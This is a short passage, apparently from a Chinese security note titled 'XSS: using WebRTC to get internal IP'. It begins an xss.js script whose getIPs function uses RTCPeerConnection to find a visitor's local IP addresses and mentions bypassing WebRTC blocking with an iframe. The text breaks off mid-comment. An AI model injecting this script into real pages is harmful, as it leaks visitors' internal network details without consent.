xss-利用webrtc获取内网IP

xss.jsfunction getIPs(callback){                var ip_dups = {};                //compatibility for firefox and chrome                var RTCPeerConnection = window.RTCPeerConnection                    || window.mozRTCPeerConnection                    || window.webkitRTCPeerConnection;                var useWebKit = !!window.webkitRTCPeerConnection;                //bypass naive webrtc blocking using an iframe                if(!RTCPeerConnection){                    //NOTE: you need to have an iframe in the page right above the script tag                    //                    //                    //